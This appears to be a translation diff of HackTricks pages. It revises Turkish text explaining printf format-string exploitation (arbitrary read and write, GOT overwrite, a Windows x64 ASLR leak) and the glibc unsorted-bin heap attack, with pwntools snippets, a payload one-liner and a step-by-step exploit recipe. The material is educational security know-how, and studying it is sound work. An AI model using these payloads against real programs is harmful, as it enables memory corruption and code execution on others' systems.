Translated ['', 'src/binary-exploitation/stack-overflow/stack-shellcode/

src/binary-exploitation/format-strings/README.md

@@ -3,15 +3,15 @@
 {{#include ../../banners/hacktricks-training.md}}
 
 
-## Temel Bilgiler
+## Basic Information
 
-C'de **`printf`** bir stringi **yazdırmak** için kullanılabilen bir fonksiyondur. Bu fonksiyonun beklediği **ilk parametre**, **format belirleyicileriyle birlikte ham metindir**. Beklenen **izleyen parametreler** ise ham metindeki **format belirleyicilerini** **yerine koymak için** kullanılacak **değerlere** karşılık gelir.
+C'de **`printf`** bazı dizeleri **yazdırmak** için kullanılan bir fonksiyondur. Bu fonksiyonun beklediği **ilk parametre**, **formatlayıcıları içeren ham metindir**. Takip eden **parametreler** ise ham metindeki **formatlayıcıları** **yerine koymak** için gereken **değerlerdir**.
 
-Diğer savunmasız fonksiyonlar **`sprintf()`** ve **`fprintf()`**'dir.
+Diğer zafiyete açık fonksiyonlar **`sprintf()`** ve **`fprintf()`**'dir.
 
-Zafiyet, bu fonksiyona **saldırgan tarafından oluşturulmuş bir metnin ilk argüman olarak verilmesi** durumunda ortaya çıkar. Saldırgan, **printf format string** yeteneklerini kötüye kullanarak özel bir girdi oluşturabilecek ve böylece herhangi bir adresten **herhangi bir veriyi okumak ve yazmak (okunabilir/yazılabilir)** imkanına sahip olacaktır. Bu yolla **rastgele kod çalıştırma** mümkün hale gelir.
+Zafiyet, bu fonksiyona **saldırgan metninin ilk argüman olarak verilmesi** durumunda ortaya çıkar. Saldırgan, **printf format** string yeteneklerini suistimal ederek okunabilir ve **herhangi bir adresteki herhangi bir veriyi yazmak (okunabilir/yazılabilir)** için **özel bir girdi** oluşturabilir ve bu yolla **istediği herhangi bir kodu çalıştırabilir**.
 
-#### Format belirleyicileri:
+#### Formatters:
 ```bash
 %08x —> 8 hex bytes
 %d —> Entire
@@ -39,7 +39,7 @@ printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
 ```c
 printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
 ```
-- fprintf zafiyeti:
+- fprintf güvenlik açığı olan:
 ```c
 #include <stdio.h>
 
@@ -54,26 +54,26 @@ return 0;
 ```
 ### **İşaretçilere Erişim**
 
-Biçim **`%<n>$x`**, burada `n` bir sayı olup, printf'in stack'ten n. parametreyi seçmesini sağlar. Yani stack'ten 4. parametreyi printf ile okumak istiyorsanız şu şekilde yapabilirsiniz:
+Biçim **`%<n>$x`**, burada `n` bir sayıdır, printf'e stack'ten n. parametreyi seçmesini belirtmeyi sağlar. Yani printf kullanarak stack'ten 4. parametreyi okumak istiyorsanız şu şekilde yapabilirsiniz:
 ```c
 printf("%x %x %x %x")
 ```
-ve birinci ile dördüncü parametreyi okurdunuz.
+ve birinci parametreden dördüncü parametreye kadar okurdunuz.
 
-Ya da şunu yapabilirdiniz:
+Veya şöyle yapabilirsiniz:
 ```c
 printf("%4$x")
 ```
 ve doğrudan dördüncüyü okumak.
 
-Dikkat edin ki saldırgan `printf` **parameter'ını kontrol eder, bu temel olarak demektir ki** onun girdisi `printf` çağrıldığında stack'te olacak; bu da stack'e belirli address'ler yazabileceği anlamına gelir.
+Dikkat edin ki saldırgan `printf` **parameter`ını kontrol eder; bu temelde** girdisinin `printf` çağrıldığında stack'te olacağı anlamına gelir, bu da stack'e belirli memory addresses yazabileceği anlamına gelir.
 
 > [!CAUTION]
-> Bu girdiyi kontrol eden bir saldırgan, stack'e **istediği address'i ekleyebilecek ve `printf`'in bunlara erişmesini sağlayabilecektir**. Bir sonraki bölümde bu davranışın nasıl kullanılacağı açıklanacaktır.
+> Bu girdiyi kontrol eden bir saldırgan, **stack'e arbitrary address ekleyip `printf`'in onlara erişmesini sağlayabilir**. Bir sonraki bölümde bu davranışın nasıl kullanılacağı açıklanacaktır.
 
 ## **Arbitrary Read**
 
-`%n$s` **formatter**'ını kullanarak **`printf`**'in **n pozisyonunda** bulunan **address**'i almasını, onu takip etmesini ve **sanki bir stringmiş gibi yazdırmasını** (0x00 bulunana kadar yazdırır) sağlamak mümkündür. Bu yüzden eğer binary'nin base address'i **`0x8048000`** ise ve kullanıcı girdisinin stack'te 4. pozisyonda başladığını biliyorsak, binary'nin başlangıcını şu şekilde yazdırmak mümkündür:
+`%n$s` formatlayıcısını kullanarak `printf`'in **n position**'da bulunan **address**'i almasını, onun izini takip etmesini ve **bir stringmiş gibi yazdırmasını** (0x00 bulunana kadar yazdırır) sağlamak mümkündür. Bu nedenle binary'nin base address'i `0x8048000` ise ve user input'un stack'te 4th position'da başladığını biliyorsak, binary'nin başlangıcını şu şekilde yazdırmak mümkündür:
 ```python
 from pwn import *
 
@@ -87,11 +87,11 @@ p.sendline(payload)
 log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
 ```
 > [!CAUTION]
-> 0x8048000 adresini input'un başına koyamazsınız çünkü string o adresin sonunda 0x00 ile kesilecektir.
+> input'un başına 0x8048000 adresini koyamayacağınızı unutmayın çünkü string o adresin sonunda 0x00'da cat olacaktır.
 
-### Find offset
+### Ofseti bul
 
-input'unuza olan offset'i bulmak için 4 veya 8 bytes (`0x41414141`) gönderip ardından **`%1$x`** ekleyebilir ve **değeri artırarak** `A's`'ları alana kadar ilerleyebilirsiniz.
+input'unuzun ofsetini bulmak için 4 veya 8 byte (`0x41414141`) gönderebilir, bunu **`%1$x`** ile takip edebilir ve `A's` geri gelene kadar değeri **artırabilirsiniz**.
 
 <details>
 
@@ -126,60 +126,60 @@ p.close()
 ```
 </details>
 
-### Ne işe yarar
+### Ne kadar yararlı
 
-Arbitrary reads şu amaçlarla faydalı olabilir:
+Arbitrary reads şu amaçlarla yararlı olabilir:
 
-- **Dump** bellekteki **binary**'yi çıkarmak
-- Belleğin hassas **info**'nun saklandığı belirli bölümlerine erişmek (ör. **canaries**, **encryption keys** veya özel parolalar; örneğin bu [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
+- Bellekten **binary**'yi **Dump** etmek
+- Hassas **info**'nun saklandığı **memory**'nin belirli bölümlerine erişmek (ör. canaries, encryption keys veya custom passwords gibi bu [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
 
 ## **Arbitrary Write**
 
-Formatlayıcı **`%<num>$n`** **yazar** stack'teki <num> parametresinin gösterdiği **yazılan byte sayısını** **gösterilen adrese**. Eğer bir saldırgan printf ile istediği kadar karakter yazabiliyorsa, **`%<num>$n`**'in herhangi bir sayıyı herhangi bir adrese yazmasını sağlayabilir.
+The formatter **`%<num>$n`** stack'teki <num> parametresinin gösterdiği adrese yazılmış byte sayısını yazar. Eğer bir saldırgan printf ile istediği kadar char yazabiliyorsa, **`%<num>$n`** ile herhangi bir adrese arbitrary bir sayı yazdırabilir.
 
-Neyse ki, 9999 sayısını yazmak için girdiye 9999 tane "A" eklemeye gerek yok; bunun yerine formatlayıcı **`%.<num-write>%<num>$n`** kullanılarak **`<num-write>`** sayısını **`num` pozisyonunun işaret ettiği adrese** yazmak mümkündür.
+Neyse ki 9999 sayısını yazdırmak için input'a 9999 adet "A" eklemeye gerek yok; bunun yerine formatör **`%.<num-write>%<num>$n`** kullanılarak **`<num-write>`** sayısı `num` pozisyonunun gösterdiği adrese yazılabilir.
 ```bash
 AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
 AAAA.%500\$08x —> Param at offset 500
 ```
-Ancak, genellikle `0x08049724` gibi bir adresi yazmak (tek seferde yazılması çok BÜYÜK bir sayı olduğu için), **`$hn`** kullanılır `$n` yerine. Bu, **sadece 2 Byte yazmaya** izin verir. Bu nedenle bu işlem iki kez yapılır: adresin yüksek 2B'si için bir kez ve düşük olanlar için bir kez daha.
+Ancak, genellikle `0x08049724` gibi bir adresi yazmak (ki bu bir kerede yazmak için ÇOK BÜYÜK bir sayı) için **`$n` yerine `$hn` kullanılır**. Bu, **sadece 2 Bytes yazılmasını** sağlar. Bu yüzden bu işlem iki kez yapılır; bir kez adresin en yüksek 2B'si için ve bir kez en düşükleri için.
 
-Dolayısıyla, bu zafiyet herhangi bir adrese **herhangi bir şeyi yazmaya (arbitrary write)** izin verir.
+Bu nedenle, bu zafiyet herhangi bir adrese **herhangi bir şeyi yazma (arbitrary write)** imkanı verir.
 
-Bu örnekte amaç, daha sonra çağrılacak olan GOT tablosundaki bir fonksiyonun **adresini** **üzerine yazmak (overwrite)** olacak. Ancak bu, diğer arbitrary write -> exec teknikleriyle de sömürülebilir:
+Bu örnekte amaç, daha sonra çağrılacak bir **function**'ın **GOT** tablosundaki **address**'ini **overwrite** etmektir. Ancak bu, diğer arbitrary write to exec tekniklerini de kullanabilir:
 
 {{#ref}}
 ../arbitrary-write-2-exec/
 {{#endref}}
 
-Kullanıcının argümanlarını alan bir fonksiyonu **overwrite** edip bunu `system` fonksiyonuna **işaret edeceğiz**.\
-Bahsedildiği gibi, adresi yazmak genellikle 2 adım gerektirir: önce adresin 2 Byte'ını yazarsınız, sonra diğer 2 Byte'ı. Bunu yapmak için **`$hn`** kullanılır.
+Kullanıcıdan argümanlarını alan bir **function**'ı **overwrite** edip onu **`system`** **function**'ına yönlendireceğiz.\
+Daha önce bahsedildiği gibi, adresi yazmak genellikle 2 adım gerektirir: Önce adresin **2Bytes**'ını yazarsınız, sonra diğer 2'sini. Bunun için **`$hn`** kullanılır.
 
-- **HOB**, adresin üst 2 byteları için kullanılır
-- **LOB**, adresin alt 2 byteları için kullanılır
+- **HOB** is called to the 2 higher bytes of the address
+- **LOB** is called to the 2 lower bytes of the address
 
-Daha sonra, format string'in çalışma şekli nedeniyle önce [HOB, LOB] içindeki **küçüğü** yazmanız, sonra diğerini yazmanız gerekir.
+Sonra, format string'in çalışma şekli nedeniyle önce [HOB, LOB] arasındaki **en küçük olanı** yazmanız ve sonra diğerini yazmanız gerekir.
 
-Eğer HOB < LOB\
+If HOB < LOB\
 `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
 
-Eğer HOB > LOB\
+If HOB > LOB\
 `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
 
 HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
 ```bash
 python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
 ```
-### Pwntools Şablonu
+### Pwntools Template
 
-Bu tür bir zafiyet için bir exploit hazırlamak üzere bir **şablon** bulabilirsiniz:
+Bu tür bir zafiyeti exploit etmek için bir **şablon** şu adreste bulunabilir:
 
 
 {{#ref}}
 format-strings-template.md
 {{#endref}}
 
-Ya da [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) adresindeki bu temel örnek:
+Veya [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) adresindeki bu temel örnek:
 ```python
 from pwn import *
 
@@ -200,12 +200,12 @@ p.interactive()
 ```
 ## Format Strings to BOF
 
-Bir format string açığının write işlemlerini kötüye kullanarak stack üzerindeki adreslere yazmak ve bir buffer overflow türü açığını exploit etmek mümkündür.
+Bir format string açığının yazma işlemlerini suistimal ederek stack adreslerine yazmak ve bir buffer overflow türündeki açığı exploit etmek mümkündür.
 
 
 ## Windows x64: Format-string leak to bypass ASLR (no varargs)
 
-Windows x64'te ilk dört integer/pointer parametre RCX, RDX, R8, R9 register'larında geçirilir. Birçok hatalı call-site'te attacker-controlled string format argument olarak kullanılır fakat hiçbir variadic argument sağlanmaz, örneğin:
+Windows x64'te ilk dört integer/pointer parametre register'larda geçirilir: RCX, RDX, R8, R9. Birçok hatalı call-site'te attacker-controlled string format argument olarak kullanılır ancak hiç variadic arguments sağlanmaz, örneğin:
 ```c
 // keyData is fully controlled by the client
 // _snprintf(dst, len, fmt, ...)
@@ -215,9 +215,9 @@ Because no varargs are passed, any conversion like "%p", "%x", "%s" will cause t
 
 Pratik iş akışı:
 
-- Saldırgan-kontrolündeki string'in en başına "%p " gibi zararsız bir format enjekte edin, böylece ilk dönüşüm herhangi bir filtrelemeden önce çalışır.
-- Leak edilen pointer'ı yakalayın, o objenin modül içindeki statik offset'ini belirleyin (bir kere symbol'lerle veya yerel bir kopya ile reverse ederek) ve image base'i `leak - known_offset` olarak geri kazanın.
-- Bu base'i uzak olarak ROP gadgets ve IAT entries için mutlak adresler hesaplamak üzere yeniden kullanın.
+- Saldırgan kontrollü string'in en başına, ilk dönüşüm herhangi bir filtrelemeden önce çalışacak şekilde "%p " gibi zararsız bir format enjekte edin.
+- Leaked pointer'ı yakalayın, modül içindeki o nesnenin statik offset'ini belirleyin (symbols ile veya yerel bir kopya üzerinde bir kez reversing yaparak) ve image base'i `leak - known_offset` olarak geri kazanın.
+- Bu base'i yeniden kullanarak ROP gadget'ları ve IAT girişleri için mutlak adresleri uzaktan hesaplayın.
 
 Example (abbreviated python):
 ```python
@@ -231,25 +231,24 @@ leaked = int(io.recvline().split()[2], 16)   # e.g. 0x7ff6693d0660
 base   = leaked - 0x20660                     # module base = leak - offset
 print(hex(leaked), hex(base))
 ```
-Notes:
-- Çıkarılacak kesin offset, yerel reversing sırasında bir kez bulunur ve sonra yeniden kullanılır (aynı binary/version).
-- Eğer "%p" ilk denemede geçerli bir pointer yazdırmıyorsa, diğer specifier'ları ("%llx", "%s") veya birden fazla conversion ("%p %p %p") deneyerek diğer argument registers/stack'i örnekleyin.
-- Bu pattern, format string onları istediğinde olmayan varargs'ları registers'tan çeken Windows x64 calling convention ve printf-family implementasyonlarına özgüdür.
+Notlar:
+- Çıkarılacak kesin offset, yerel reversing sırasında bir kez bulunur ve sonra tekrar kullanılır (same binary/version).
+- Eğer "%p" ilk denemede geçerli bir pointer yazdırmıyorsa, diğer specifier'ları ("%llx", "%s") veya diğer argüman register'larını/stack'i örneklemek için birden fazla conversion ("%p %p %p") deneyin.
+- Bu desen, Windows x64 calling convention ve printf-family implementasyonlarına özeldir; format string onları istediğinde varargs olmayan değerleri register'lardan çeker.
 
-Bu teknik, ASLR ile derlenmiş ve bariz memory disclosure primitives olmayan Windows services üzerinde ROP'u bootstrap etmek için son derece kullanışlıdır.
+Bu teknik, ASLR ile derlenmiş ve belirgin memory disclosure primitives olmayan Windows servislerinde ROP'u bootstrap etmek için son derece kullanışlıdır.
 
-## Diğer Örnekler & Referanslar
+## Diğer Örnekler ve Referanslar
 
 - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
 - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
 - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
 - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
-- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow)
+- 32 bit, no relro, no canary, nx, no pie; format string'lerin temel kullanımıyla stack'ten flag'i leak etmek (execution flow'u değiştirmeye gerek yok)
 - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
-- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
+- 32 bit, relro, no canary, nx, no pie; fflush adresini win function ile overwrite etmek için format string (ret2win)
 - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
-- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands.
-
+- 32 bit, relro, no canary, nx, no pie; `.fini_array` içinde main içine bir adres yazmak için format string (böylece akış 1 kez daha loop'lar) ve GOT tablosunda `strlen`'i işaret eden yeri `system` adresi ile yazmak. Akış main'e geri döndüğünde, `strlen` kullanıcı girdisiyle çalıştırılacak ve `system`'e işaret ettiği için verilen komutları çalıştıracak.
 
 ## Referanslar
 

src/binary-exploitation/libc-heap/unsorted-bin-attack.md

@@ -4,68 +4,75 @@
 
 ## Temel Bilgiler
 
-Ne olduğunu daha fazla öğrenmek için unsorted bin hakkında şu sayfaya bakın:
+For more information about what is an unsorted bin check this page:
 
 
 {{#ref}}
 bins-and-memory-allocations.md
 {{#endref}}
 
-Unsorted listleri, chunk'ın `bk` adresine `unsorted_chunks (av)` adresini yazabilirler. Bu nedenle, eğer bir saldırgan unsorted bin içindeki bir chunk'taki `bk` pointerının adresini **değiştirebiliyorsa**, o adresi **rastgele bir adrese yazabilme** imkanına sahip olabilir; bu, Glibc adreslerini leak etmek veya bazı korumaları atlatmak için faydalı olabilir.
+Unsorted listeleri, `unsorted_chunks (av)` adresini chunk'ın `bk` adresine yazabilir. Bu yüzden, eğer bir saldırgan unsorted bin içindeki bir chunk'ta `bk` işaretçisinin adresini **değiştirebilirse**, bu adresi **rastgele (arbitrary) bir adrese yazabiliyor**; bu, Glibc adreslerini leak etmek veya bazı savunmaları aşmak için faydalı olabilir.
 
-Yani temelde bu atak, **rastgele bir adrese büyük bir sayı yazmayı** sağlar. Bu büyük sayı bir adrestir; heap adresi veya Glibc adresi olabilir. Geleneksel hedefler arasında fast bin boyutlarını artırmaya izin veren **`global_max_fast`** vardı (ve unsorted bin attack'tan fast bin attack'a geçişi sağlar).
+Yani temelde bu saldırı, bir arbitrar adrese **büyük bir sayı yazmaya** izin verir. Bu büyük sayı bir adres olup heap ya da Glibc adresi olabilir. Klasik hedeflerden biri, fast binlerin daha büyük boyutlara izin vermesi için **`global_max_fast`** idi (böylece bir unsorted bin attack'tan fast bin attack'a geçilebilirdi).
 
-- Modern not (glibc ≥ 2.39): `global_max_fast` 8‑bit bir global oldu. Oraya unsorted‑bin write ile körü körüne bir pointer yazmak, bitişik libc verilerini bozacak ve artık fastbin limitini güvenilir şekilde yükseltmeyecektir. glibc 2.39+ karşısında çalışırken diğer hedefleri veya primitifleri tercih edin. Aşağıdaki "Modern constraints" bölümüne bakın ve kararlı bir primitif elde ettiğinizde bunu bir [large bin attack](large-bin-attack.md) veya bir [fast bin attack](fast-bin-attack.md) gibi diğer tekniklerle birleştirmeyi düşünün.
+- Modern not (glibc ≥ 2.39): `global_max_fast` 8 bitlik bir global haline geldi. Buraya unsorted-bin write ile körü körüne bir pointer yazmak artık çevresindeki libc verilerini bozacak ve fastbin limitini güvenilir şekilde yükseltmeyecektir. glibc 2.39+ karşısında başka hedefler veya başka primitives tercih edin. Aşağıdaki "Modern constraints" kısmına bakın ve istikrarlı bir primitive elde ettiğinizde bunu bir [large bin attack](large-bin-attack.md) veya bir [fast bin attack](fast-bin-attack.md) ile kombinlemeyi düşünün.
 
 > [!TIP]
-> T>  [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) adresindeki örneğe bakıldığında ve chunk boyutları olarak 0x400 ve 0x500 yerine 0x4000 ve 0x5000 kullanıldığında (Tcache'i önlemek için) **günümüzde** artık **`malloc(): unsorted double linked list corrupted`** hatasının tetiklendiği görülebilir.
+> T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered.
 >
-> Bu nedenle, bu unsorted bin atakı artık (diğer kontrollerin yanında) çift bağlı listeyi düzeltme yeteneğini de gerektiriyor; aksi halde `victim->bk->fd == victim` veya `victim->fd == av (arena)` kontrolleri atlanamıyor. Bu da, yazmak istediğimiz adresin, fake chunk'ın adresini kendi `fd` pozisyonunda barındırması ve fake chunk `fd`'sinin arena'ya işaret etmesi gerektiği anlamına gelir.
+> Bu nedenle, günümüzde bu unsorted bin attack (diğer kontrollerin yanında) çift bağlı listeyi düzeltme yeteneği gerektirir: yani `victim->bk->fd == victim` veya `victim->fd == av (arena)` kontrolü atlatılmalı. Bu, yazmak istediğimiz adresteki `fd` pozisyonunun sahte chunk adresini içermesi ve sahte chunk'ın `fd`'sinin arena'ya işaret etmesi gerektiği anlamına gelir.
 
 > [!CAUTION]
-> Bu atak unsorted bin'i (dolayısıyla small ve large'ı da) bozar. Bu yüzden artık yalnızca **fast bin**'den yapılan allocation'ları kullanabiliriz (daha karmaşık bir program başka allocation'lar yaparsa crash olabilir), ve bunu tetiklemek için **aynı boyutta allocation yapmalıyız yoksa program çöker.**
+> Bu saldırının unsorted bin'i bozduğunu unutmayın (dolayısıyla small ve large da etkilenir). Bu yüzden artık **sadece fast bin'den allocation kullanabiliriz** (daha karmaşık bir program başka allocation'lar yapıp çökebilir) ve bunu tetiklemek için **aynı boyutta allocation yapmamız gerekir, yoksa program çöker.**
 >
-> Bu durumda **`global_max_fast`**'ı overwrite etmek, exploit tamamlanana kadar fast bin'in diğer allocation'ları karşılayabileceğine güvenerek yardımcı olabilir.
+> `global_max_fast`'ı overwrite etmek bu durumda yardımcı olabilir; fast bin'in exploit tamamlanana kadar diğer allocation'larla başa çıkacağını varsayabilirsiniz.
 
-[**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) tarafından yazılan kod bunu çok iyi açıklıyor; fakat malloc'ları Tcache'e düşmeyecek kadar büyük allocate edecek şekilde değiştirirseniz, daha önce bahsedilen hata ortaya çıkar: **`malloc(): unsorted double linked list corrupted`**
+The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`**
 
-### Yazmanın gerçekte nasıl gerçekleştiği
+### How the write actually happens
 
-- Unsorted‑bin yazma, freed chunk unsorted list'in başına eklenirken `free` sırasında tetiklenir.
-- Ekleme sırasında allocator şunu yapar: `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;`
-- Eğer `free(victim)` çağrısından önce `victim->bk`'yi `(mchunkptr)(TARGET - 0x10)` olarak ayarlayabilirseniz, son ifade şu yazmayı yapar: `*(TARGET) = victim`.
-- Daha sonra allocator unsorted bin'i işlerken, unlink etmeden önce bütünlük kontrolleri (başka kontrollerin yanında) `bck->fd == victim` ve `victim->fd == unsorted_chunks(av)` doğrulamasını yapar. Çünkü ekleme zaten `bck->fd`'ye (bizim `TARGET`) `victim`'i yazmıştır, eğer yazma başarılı olduysa bu kontroller sağlanabilir.
+- The unsorted-bin write is triggered on `free` when the freed chunk is inserted at the head of the unsorted list.
+- During insertion, the allocator performs `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;`
+- If you can set `victim->bk` to `(mchunkptr)(TARGET - 0x10)` before calling `free(victim)`, the final statement will perform the write: `*(TARGET) = victim`.
+- Later, when the allocator processes the unsorted bin, integrity checks will verify (among other things) that `bck->fd == victim` and `victim->fd == unsorted_chunks(av)` before unlinking. Because the insertion already wrote `victim` into `bck->fd` (our `TARGET`), these checks can be satisfied if the write succeeded.
+
+### Yazının gerçekte nasıl gerçekleştiği
+
+- Unsorted-bin yazısı, freed chunk unsorted listenin başına eklendiğinde `free` üzerinde tetiklenir.
+- Ekleme sırasında allocator şu işlemleri yapar: `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;`
+- Eğer `free(victim)` çağırmadan önce `victim->bk`'i `(mchunkptr)(TARGET - 0x10)` olarak ayarlayabiliyorsanız, son ifade şu yazmayı yapar: `*(TARGET) = victim`.
+- Daha sonra allocator unsorted bin'i işlerken unlink etmeden önce (diğer kontrollerin yanında) `bck->fd == victim` ve `victim->fd == unsorted_chunks(av)` doğrulamalarını yapar. Ekleme zaten `bck->fd` (yani bizim `TARGET`) içine `victim` yazdığı için, yazma başarılı olduysa bu kontroller sağlanabilir.
 
 ## Modern kısıtlamalar (glibc ≥ 2.33)
 
-Güncel glibc üzerinde unsorted‑bin write'ları güvenilir şekilde kullanmak için:
+Güncel glibc'de unsorted‑bin yazılarını güvenilir şekilde kullanmak için:
 
-- Tcache müdahalesi: tcache'e düşen boyutlar için free'lar oraya yönlendirilir ve unsorted bin ile işlem yapmaz. Ya
-  - istekleri MAX_TCACHE_SIZE'tan (> 64‑bit için genelde ≥ 0x410) büyük boyutlarla yapın, veya
-  - ilgili tcache bin'ini (7 giriş) doldurun ki ek free'lar global bin'lere ulaşsın, veya
-  - ortamı kontrol edebiliyorsanız tcache'i devre dışı bırakın (ör. GLIBC_TUNABLES glibc.malloc.tcache_count=0).
-- Unsorted liste üzerindeki bütünlük kontrolleri: unsorted bin'i inceleyen sonraki allocation yolunda, glibc (basitleştirilmiş olarak) şunları kontrol eder:
-  - `bck->fd == victim` ve `victim->fd == unsorted_chunks(av)`; aksi halde `malloc(): unsorted double linked list corrupted` ile abort eder.
-- Bu, hedeflediğiniz adresin iki yazmayı tolere etmesi gerektiği anlamına gelir: önce free‑zamanında `*(TARGET) = victim`; daha sonra chunk kaldırılırken `*(TARGET) = unsorted_chunks(av)` (allocator `bck->fd`'yi tekrar bin başına yazar). Sadece büyük, sıfır olmayan bir değer zorlamak işe yarayacak hedefler seçin.
-- Modern exploitlerde tipik olarak güvenli hedefler
-  - Uygulama veya global durumda "büyük" değerleri bayrak/limit olarak işleyen alanlar.
-  - Dolaylı primitifler (ör. sonrasında bir [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) için hazırlık yapmak veya daha sonra bir write‑what‑where pivotu).
-  - Yeni glibc'de `__malloc_hook`/`__free_hook`'tan kaçının: bunlar 2.34'te kaldırıldı. `global_max_fast`'ı ≥ 2.39 üzerinde kullanmaktan kaçının (bir sonraki notu görün).
+- Tcache müdahalesi: tcache'a giren boyutlar için free'ler oraya yönlendirilir ve unsorted bin'e dokunmaz. Ya
+  - istekleri MAX_TCACHE_SIZE'tan büyük yapın (64‑bit için varsayılan ≥ 0x410), ya da
+  - ilgili tcache bin'ini (7 entry) doldurun ki ek free'ler global bin'lere ulaşsın, ya da
+  - ortam kontrol edilebiliyorsa tcache'i devre dışı bırakın (ör. GLIBC_TUNABLES glibc.malloc.tcache_count=0).
+- Unsorted liste üzerinde bütünlük kontrolleri: unsorted bin'i inceleyen sonraki allocation yolunda glibc (basitleştirilmiş):
+  - `bck->fd == victim` ve `victim->fd == unsorted_chunks(av)` kontrollerini yapar; aksi halde `malloc(): unsorted double linked list corrupted` ile abort eder.
+  - Bu, hedeflediğiniz adresin iki yazmayı tolere edebilmesi gerektiği anlamına gelir: önce free anında `*(TARGET) = victim`; sonra chunk çıkarılırken `*(TARGET) = unsorted_chunks(av)` (allocator `bck->fd`'i tekrar bin başına yazar). Sadece büyük, sıfır olmayan bir değerin zorlanmasının işe yaradığı hedefleri seçin.
+- Modern exploitlerde tipik güvenilir hedefler:
+  - "Büyük" değerleri bayrak/limit olarak kullanan uygulama veya global durum.
+  - Dolaylı primitives (ör., sonraki bir [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) için hazırlık ya da daha sonra bir write‑what‑where'a pivot yapmak).
+  - Yeni glibc'de `__malloc_hook`/`__free_hook`'tan kaçının: 2.34'te kaldırıldılar. `global_max_fast`'ı ≥ 2.39'da kullanmaktan kaçının (bir sonraki notu okuyun).
 - `global_max_fast` hakkında (yeni glibc)
-  - glibc 2.39+ üzerinde, `global_max_fast` 8‑bit bir global'dir. Klasik hile olan heap pointer'ını oraya yazmak (fastbinleri büyütmek için) artık düzgün çalışmıyor ve muhtemelen bitişik allocator durumunu bozuyor. Diğer stratejileri tercih edin.
+  - glibc 2.39+'ta `global_max_fast` 8‑bitlik bir globaldir. Klasik yöntem olan heap pointer'ı buraya yazarak fastbinleri büyütme artık temiz çalışmaz ve muhtemelen allocator durumunu bozacaktır. Diğer stratejileri tercih edin.
 
 ## Minimal exploit tarifi (modern glibc)
 
-Amaç: unsorted‑bin insertion primitifi kullanarak çökertmeden heap pointer'ını tek seferlik bir rastgele adrese yazdırmak.
+Amaç: unsorted‑bin insertion primitive'ini kullanarak arbitrar bir adrese tek bir heap pointer yazısı elde etmek, programı çökertmeden.
 
-- Düzen/grooming
-  - Tcache'i atlatacak kadar büyük boyutlarda A, B, C allocate edin (ör. 0x5000). C, top chunk ile konsolidasyonu önler.
+- Yerleşim / hazırlık
+  - Tcache'i atlamak için yeterince büyük boyutlarda A, B, C allocate edin (ör. 0x5000). C top chunk ile birleşmeyi önler.
 - Bozma
-  - A'dan B'nin chunk header'ına overflow yaparak `B->bk = (mchunkptr)(TARGET - 0x10)` ayarlayın.
+  - A'dan B'nin chunk header'ına overflow ile `B->bk = (mchunkptr)(TARGET - 0x10)` ayarlayın.
 - Tetikleme
-  - `free(B)`. Ekleme sırasında allocator `bck->fd = B` ifadesini çalıştırır, dolayısıyla `*(TARGET) = B`.
